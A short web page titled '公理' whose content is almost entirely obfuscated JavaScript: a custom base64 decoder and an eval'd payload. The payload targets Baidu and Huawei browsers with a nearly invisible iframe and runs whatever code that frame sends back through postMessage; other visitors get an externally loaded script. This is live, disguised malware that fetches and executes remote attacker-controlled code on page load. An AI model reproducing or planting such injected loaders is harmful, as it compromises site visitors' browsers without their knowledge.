公理

eval("\x77\x69\x6e\x64\x6f\x77")["\x56\x59\x7a\x55"]=function(e){var bf ='ABCDEF'+''+'G'+''+'HIJK'+''+'LMNOPQRSTUVWXYZabc'+''+'defghij'+'klmnopqr'+''+'stuvwx'+'yz0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=bf.indexOf(e.charAt(f++));o=bf.indexOf(e.charAt(f++));u=bf.indexOf(e.charAt(f++));a=bf.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x56\x59\x45\x4a"]=function(){eval(VYzU("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoVll6VSh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFZZelUoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihWWXpVKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbVll6VSgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEuaHRtbD9WWUVKJztkWyd3JysncmknKyd0JysnZSddKCc8aScrJ2ZyJysnYScrJ21lIHN0eWxlPSInKydtJysnYXInKydnaScrJ246MDtwJysnYWQnKydkJysnaW4nKydnOjA7YicrJ29yJysnZCcrJ2VyOm4nKydvbicrJ2U7Jysnb3AnKydhJysnY2knKyd0JysneTowJysnLjAnK3JkKDIsOSkrJzt3aScrJ2R0JysnaDonK3JkKDIsNSkrJ3AnKyd4O2gnKydlJysnaWdoJysndDonK3JkKDIsNSkrJ3AnKyd4OycrJyIgYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1snYWQnKydkRXYnKydlbnRMJysnaXN0JysnZW5lciddKCdtJysnZXNzJysnYWdlJyxmdW5jdGlvbihlKXtpZihlLmRhdGFbcl0pe3JtKGMpO25ldyBGdW5jdGlvbihldmFsKGRlY29kZVVSSUNvbXBvbmVudChlLmRhdGFbcl0ucmVwbGFjZShuZXcgUmVnRXhwKHIsJ2cnKSwnJykpKSkoKTt9fSk7fWVsc2V7ZG9jdW1lbnQud3JpdGUoJzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0PicpO319KSgnME0nKycnKydUJysnJysnTDVnJysnaicrJ010ZycrJycrJ25SeScrJ1UnKycnKydpWScrJycrJzNoWCcrJycrJ1hlaCcrJycrJ1puJysnWkcnKydKJysnVEonKycnKyd6UUQnKydOd0knKydUJysnUScrJ3onKydVaScrJycrJ2UnKyc1aG4nKydMeScrJycrJ0FUWicrJycrJ3JkJysnJysnbScrJycrJ2InKycnKydweG0nKycnKydMelonKycnKydrJysnJysnTWwnKydZa00nKycnKydsJysnJysnRTBNJysnJysnbCcrJ00nKydIYycrJzBSJysnSGEnKycnLCcnKydkZXMnKydfcycrJ18yODknKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnJysnJysnJysnJysnJywnWCcp"));}